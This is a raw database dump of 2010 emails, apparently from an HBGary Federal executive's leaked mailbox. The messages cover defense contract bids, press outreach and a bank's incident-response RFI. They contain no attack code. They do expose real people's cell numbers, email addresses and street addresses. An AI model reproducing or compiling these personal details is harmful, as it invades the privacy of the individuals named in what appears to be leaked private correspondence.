DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',11546,'aaron_hbgary_com/11546.html'),(1499,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000452.M391340P3547Q1499.eml','\"Ted Vera\" <ted@hbgary.com>','slides','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2654,'aaron_hbgary_com/2654.html'),(1500,'2010-01-26','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000452.M882347P3547Q1500.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Thanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n&nbsp;\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM\r\nKaren,\r\n\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n\r\nThanks,\r\nAaron\r\n\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n&nbsp;\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n&nbsp;\r\nPlease let me know how you want to pursue. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',7767,'aaron_hbgary_com/7767.html'),(1501,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000453.M177987P3547Q1501.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','Question. &nbsp;Maybe you can\'t answer.I have a very strong relationship with TASC, I used to be a technical director for them. &nbsp;I am heading out to Colorado Springs next week as I mentioned and one of the meetings I have is with Lawrence Hill (TASC OU Director) and his team, which includes Dan Gutierrez (DepMgr for San Antonio work). &nbsp;We are going to be talking to him about the NWOC effort, he is going after this work and would like us to be on his team. &nbsp;He says he has done work with you guys in the past.Is he your team mate? :)AaronOn Jan 26, 2010, at 9:25 AM, John Farrell wrote:anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.Here\'s a good example of another company that backfired on them:http://www.nytimes.com/2009/05/31/us/31cyber.htmlwhat time do you return on the 3rd? chris leaves from DCA at 6pm.On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10957,'aaron_hbgary_com/10957.html'),(1502,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000453.M435487P3547Q1502.eml','\"Aaron Barr\" <aaron@hbgary.com>','link','Check this - I think I\'m getting close:\r\n\r\nhttps://www.fbo.gov/index?&s=opportunity&mode=form&id=0bcaec1ae1cad3ed1c107db642adbd3f&tab=core&tabmode=list\r\n\r\n\r\nTed\r\n\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',7231,'aaron_hbgary_com/7231.html'),(1503,'2010-01-26','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000453.M623461P3547Q1503.eml','penny@hbgary.com,greg@hbgary.com,penny@hbgary.com','Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Take a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\n',14428,'aaron_hbgary_com/14428.html'),(1504,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000453.M818662P3547Q1504.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Ha funny.Yeah this hit FBO last night and Ted and I shot it out...absolutely we can our stuff can solve this need.AaronOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:Take a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1866,'aaron_hbgary_com/1866.html'),(1505,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000453.M990438P3547Q1505.eml','\"Aaron Barr\" <aaron@hbgary.com>','success!','https://www.fbo.gov/index?&s=opportunity&mode=form&id=65015713524d7d7b9f1af68eeb2f1f5e&tab=core&tabmode=list\r\n\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',10672,'aaron_hbgary_com/10672.html'),(1506,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000454.M196924P3547Q1506.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Begin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:58:40 AM ESTTo: penny@hbgary.com, greg@hbgary.comCc: aaron@hbgary.comSubject: Pentagon Searches for ‘Digital DNA’ to Identify HackersTake a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9770,'aaron_hbgary_com/9770.html'),(1507,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000454.M408658P3547Q1507.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Is it possible to get in with Wired for an interview talking about our existing capabilities? &nbsp;how do we leverage this?AaronOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:Take a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11222,'aaron_hbgary_com/11222.html'),(1508,'2010-01-26','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000454.M644263P3547Q1508.eml','aaron@hbgary.com','Re: AF BAA','\r\nWhere is our meeting at 1pm?John M FarrellVP Federal, Endgame Systems703.622.9025 M\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: John FarrellSent: Tue Jan 26 09:53:31 2010Subject: Re: AF BAA\r\nQuestion. &nbsp;Maybe you can\'t answer.I have a very strong relationship with TASC, I used to be a technical director for them. &nbsp;I am heading out to Colorado Springs next week as I mentioned and one of the meetings I have is with Lawrence Hill (TASC OU Director) and his team, which includes Dan Gutierrez (DepMgr for San Antonio work). &nbsp;We are going to be talking to him about the NWOC effort, he is going after this work and would like us to be on his team. &nbsp;He says he has done work with you guys in the past.Is he your team mate? :)AaronOn Jan 26, 2010, at 9:25 AM, John Farrell wrote:anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.Here\'s a good example of another company that backfired on them:http://www.nytimes.com/2009/05/31/us/31cyber.htmlwhat time do you return on the 3rd? chris leaves from DCA at 6pm.On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5676,'aaron_hbgary_com/5676.html'),(1509,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000454.M858227P3547Q1509.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','2010 Corporate RidgeSuite # 700McLean, Virginia 22102United StatesOn Jan 26, 2010, at 11:15 AM, John Farrell wrote:\r\nWhere is our meeting at 1pm?\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Tue Jan 26 09:53:31 2010Subject: Re: AF BAA\r\n\r\nQuestion. &nbsp;Maybe you can\'t answer.I have a very strong relationship with TASC, I used to be a technical director for them. &nbsp;I am heading out to Colorado Springs next week as I mentioned and one of the meetings I have is with Lawrence Hill (TASC OU Director) and his team, which includes Dan Gutierrez (DepMgr for San Antonio work). &nbsp;We are going to be talking to him about the NWOC effort, he is going after this work and would like us to be on his team. &nbsp;He says he has done work with you guys in the past.Is he your team mate? :)AaronOn Jan 26, 2010, at 9:25 AM, John Farrell wrote:anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.Here\'s a good example of another company that backfired on them:http://www.nytimes.com/2009/05/31/us/31cyber.htmlwhat time do you return on the 3rd? chris leaves from DCA at 6pm.On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8522,'aaron_hbgary_com/8522.html'),(1510,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000455.M262721P3547Q1511.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','How about next Thursday afternoon or friday?BTW, do you know anything about SAICs interesting in the NWOC BAA?AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5658,'aaron_hbgary_com/5658.html'),(1511,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000455.M440427P3547Q1512.eml','\"Ted Vera\" <ted@hbgary.com>','malware analysis','https://www.fbo.gov/index?s=opportunity&mode=form&id=45fd1cad1bab59b87b22eb246d4fba37&tab=core&_cview=0\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10954,'aaron_hbgary_com/10954.html'),(1512,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000455.M617088P3547Q1513.eml','\"Ted Vera\" <ted@hbgary.com>','incident response/incident prevention','https://www.fbo.gov/index?s=opportunity&mode=form&id=a13179e9cf3394f0a556eb126beadbc8&tab=core&_cview=0\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5176,'aaron_hbgary_com/5176.html'),(1513,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000455.M74286P3547Q1510.eml','david.balenson@sparta.com','Introductions','Hi Dave,\r\nI would like to talk to you about our similar interest in the NWOC BAA.  As well I would be interested in getting an update on your capabilities and likewise get you familiar with ours.  I received a briefing more than an year back when I was leading the technical strategy for Northrop Grummans cyber campaign.  I remember being impressed by your amount of IP related to cybersecurity.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',475,'aaron_hbgary_com/475.html'),(1514,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000455.M795476P3547Q1514.eml','\"Ted Vera\" <ted@hbgary.com>','Information Security','https://www.fbo.gov/index?s=opportunity&mode=form&id=4a3aabd8d9adb30fd30a17acc1640c92&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',62,'aaron_hbgary_com/62.html'),(1515,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000456.M286089P3547Q1515.eml','david.balenson@sparta.com,david.balenson@sparta.com','Other Opportunity','Dave,\r\n\r\nJust noticed were are also both listed as interested parties for the Cyber Genome Project for DARPA.  Not sure if you are aware of HBGary\'s Digital DNA technology and our own Global Malware Genome we already have built.\r\n\r\nI would be interested to discuss opportunities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1906,'aaron_hbgary_com/1906.html'),(1516,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000456.M507380P3547Q1516.eml','\"Aaron Barr\" <aaron@hbgary.com>','NWOC Awards','Sparta - $500K $600K Jan 2008\r\n\r\nBAE - $585K  Apr 2009\r\nSAIC - $804K Mar 2009\r\n\r\nGlobal InfoTek. - $800K  Jun 2008\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13336,'aaron_hbgary_com/13336.html'),(1517,'2010-01-26','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000456.M688196P3547Q1517.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Hi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent&nbsp; him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch&nbsp;our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important&nbsp;technology ability&nbsp;for government agencies? Do we work with the Pentagon? Thanks, Karen--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.comDate: Tuesday, January 26, 2010, 8:09 AM\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities? &nbsp;how do we leverage this?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11148,'aaron_hbgary_com/11148.html'),(1518,'2010-01-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000456.M874663P3547Q1518.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Investigation Services','Aaron / Ted / Penny\r\n \r\nBank of the West has an RFI for IR / Forensic Analysis / Reverse Engineering / eDiscovery services &quot;as needed.&quot;\r\n \r\nI explained our &quot;clip&quot; model and our &quot;partnering&quot; model.  He said that he would like us to respond on the &quot;clip&quot; and explain our partner model.\r\n \r\nThe end result is that when they select a vendor they can request them to use the HBGary &quot;clip&quot; if appropriate and they will have pricing already in place for that.\r\n \r\nIt sounds like Foundstone is a vendor of choice (Accuvant is NOT).  He said that Foundstone is already using Responder Pro which I didn&#39;t know.\r\n \r\nThe RFI is due February 12th.\r\n \r\nWhat I need is a technical description of what the &quot;clip&quot; is, how it is used for IR and eDiscovery,  adn pricing.  They have ePO and about 17,000 nodes.\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Lukach, John &lt;John.Lukach@bankofthewest.com&gt;\r\nDate: Tue, Jan 26, 2010 at 8:46 AMSubject: Investigation ServicesTo: &quot;Lukach, John&quot; &lt;John.Lukach@bankofthewest.com&gt;\r\n\r\n\r\nGood Morning,\r\n\r\n \r\nBank of the West is planning to have a third-party firm on retainer for assistance with incident response, forensic analysis, reverse engineering, and eDiscovery requests as needed.  Your response to this informal Request For Information (RFI) should include information to help us understand how you could respond to an incident upon request to include: competencies, proficiencies, techniques, tools, locations, reports, and costs.  For each area, please also provide information regarding your methodology in the following format.  \r\n\r\n \r\n1.       Preparation\r\n2.       Investigation\r\n3.       Containment\r\n4.       Forensics\r\n5.       Eradication\r\n6.       Recovery\r\n7.       Reporting\r\n8.       Education\r\n \r\nPlease use the following format for methodologies on eDiscovery requests only.\r\n \r\n1.       Identification\r\n2.       Preservation\r\n3.       Collection\r\n4.       Processing\r\n5.       Review\r\n6.       Analysis\r\n7.       Production\r\n \r\nWe also ask that you provide an explanation of what other financial institutions are requesting in terms of investigation services so we can gain a better understanding of what challenges other organizations in our industry are currently facing.  \r\n\r\n \r\nPlease respond to this RFI no later than end of day, Friday February 12th, 2010.  We are looking for prompt responses so we can do another round of questioning if needed, with vendors that we short-list prior to establishing an agreement with a vendor.   Any questions regarding this process may be directed to john.lukach@bankofthewest.com or 701-298-5144.  \r\n\r\n \r\nThanks,\r\nJohn\r\n \r\nJohn B. Lukach\r\nInvestigation Engineer | EnCE CISSP | Enterprise Information Security             \r\n\r\nT: (701) 298-5144 F: (701) 298-5101 | john.lukach@bankofthewest.com\r\n\r\n4321 20th Ave. SW | Fargo, ND 58103\r\n \r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This message is intended only for the addressee and may contain confidential, privileged information. If you are not the intended recipient, you may not use, copy or disclose any information contained in the message. If you have received this message in error, please notify the sender by reply e-mail and delete the message. \r\n\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',1667,'aaron_hbgary_com/1667.html'),(1519,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000457.M234296P3547Q1520.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Investigation Services','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI would ask who is using the Responder Pro because we have not\r\nsold to Foundstone.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Tuesday, January 26, 2010 9:44 AM\r\nTo: Aaron Barr; Ted Vera\r\nCc: Penny C. Hoglund\r\nSubject: Fwd: Investigation Services\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron / Ted / Penny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBank of the West has an RFI for IR / Forensic Analysis /\r\nReverse Engineering / eDiscovery services &quot;as 